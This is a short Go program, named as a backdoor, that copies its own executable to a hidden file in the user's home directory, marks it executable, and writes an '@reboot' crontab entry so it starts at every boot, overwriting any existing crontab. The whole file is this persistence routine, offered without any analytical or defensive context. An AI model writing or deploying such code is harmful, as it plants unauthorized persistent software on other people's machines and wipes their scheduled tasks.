
package main

import (
    "os"
    "os/exec"
)

func main() {
    home := os.Getenv("HOME")
    backdoorPath := home + "/.backdoor355"
    _, err := os.Stat(backdoorPath)
    if os.IsNotExist(err) {
        exec.Command("cp", os.Args[0], backdoorPath).Run()
        exec.Command("chmod", "+x", backdoorPath).Run()
        exec.Command("sh", "-c", "echo '@reboot " + backdoorPath + "' | crontab -").Run()
    }
}
